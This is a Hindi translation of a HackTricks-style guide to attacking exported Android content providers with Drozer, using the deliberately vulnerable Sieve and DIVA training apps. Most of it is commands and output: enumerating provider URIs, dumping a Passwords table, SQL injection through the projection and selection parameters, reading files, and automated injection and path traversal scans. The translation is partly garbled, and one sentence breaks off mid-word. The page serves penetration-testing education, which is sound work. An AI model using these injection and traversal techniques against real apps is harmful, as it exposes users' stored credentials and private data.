Exploiting Content Providers

विषय क्षेत्र प्रदाताओं का शोषण

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

परिचय

डेटा एक एप्लिकेशन से अन्य एप्लिकेशनों को एक सामग्री प्रदाता द्वारा अनुरोध पर प्रदान किया जाता है। ये अनुरोध ContentResolver class के विधियों के माध्यम से प्रबंधित किए जाते हैं। विषय क्षेत्र प्रदाताएं अपने डेटा को विभिन्न स्थानों में संग्रहीत कर सकती हैं, जैसे कि डेटाबेस, फ़ाइलें, या नेटवर्क पर।

मानचित्रा.xml फ़ाइल में, विषय क्षेत्र प्रदाता की घोषणा आवश्यक है। उदाहरण के लिए:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

एक्सेस करने के लिए content://com.mwr.example.sieve.DBContentProvider/Keys, READ_KEYS अनुमति आवश्यक है। यह दिलचस्प है कि नोट करें कि पथ /Keys/ उस खंड में एक्सेस किया जा सकता है, जिसे डेवलपर द्वारा गलती से सुरक्षित किया गया है, जिसने /Keys को सुरक्षित किया था लेकिन /Keys/ को घोषित किया।

शायद आप निजी डेटा तक पहुंच सकते हैं या किसी भी कमजोरी (SQL Injection या पथ ट्रावर्सल) का शोध कर सकते हैं।

एक्सपोज़ कंटेंट प्रोवाइडर्स से जानकारी प्राप्त करें

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

यह संभव है कि DBContentProvider तक पहुंचने के लिए "content://" के साथ URIs शुरू करके कैसे जुटाया जा सकता है। यह दृश्यों से प्राप्त जानकारी पर आधारित है जो Drozer का उपयोग करके प्राप्त की गई, जहां मुख्य जानकारी /Keys निर्देशिका में स्थित थी।

Drozer कई URIs को अनुमान और प्रयास कर सकता है:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

आपको ContentProvider कोड भी जांचना चाहिए ताकि क्वेरीज़ को खोज सकें:

इसके अलावा, अगर आप पूरी क्वेरीज़ नहीं मिलती है तो आपको देखना चाहिए कि ContentProvider द्वारा घोषित नाम कौन-कौन से हैं onCreate मेथड पर:

क्वेरी इस प्रकार होगी: content://name.of.package.class/declared_name

डेटाबेस-समर्थित Content Providers

संभावित रूप से अधिकांश Content Providers डेटाबेस के लिए इंटरफेस के रूप में उपयोग किए जाते हैं। इसलिए, यदि आप इसे एक्सेस कर सकते हैं तो आप जानकारी को निकाल सकते हैं, अपडेट, इन्सर्ट और डिलीट कर सकते हैं। जांचें कि क्या आप संवेदनशील जानकारी तक पहुंच सकते हैं या फिर इसे अधिकृति के बाइपास करने की कोशिश करें।

Content Provider के कोड की जांच करते समय फ़ंक्शन्स के लिए भी देखें जिनका नाम है: query, insert, update और delete:

क्योंकि आप उन्हें कॉल कर सकेंगे

क्वेरी सामग्री

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

विषय डालें

डेटाबेस क्वेरी करके आप कॉलम का नाम सीखेंगे, फिर, आप डेटाबेस में डेटा डाल सकते हैं:

_ध्यान दें कि इंसर्ट और अपड

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozer द्वारा स्वचालित SQLInjection खोज

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

फ़ाइल सिस्टम समर्थित सामग्री प्रदाता

सामग्री प्रदाताओं का उपयोग फ़ाइलों तक पहुँचने के लिए भी किया जा सकता है:

फ़ाइल पढ़ें

आप सामग्री प्रदाता से फ़ाइलें पढ़ सकते हैं

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

पथ ट्रावर्सल

यदि आप फ़ाइलों तक पहुँच सकते हैं, तो आप पथ ट्रावर्सल का दुरुपयोग करने की कोशिश कर सकते हैं (इस मामले में यह आवश्यक नहीं है लेकिन आप "../" और समान तरीके का प्रयोग करने की कोशिश कर सकते हैं)।

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozer द्वारा स्वचालित पथ भ्रमण खोज

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated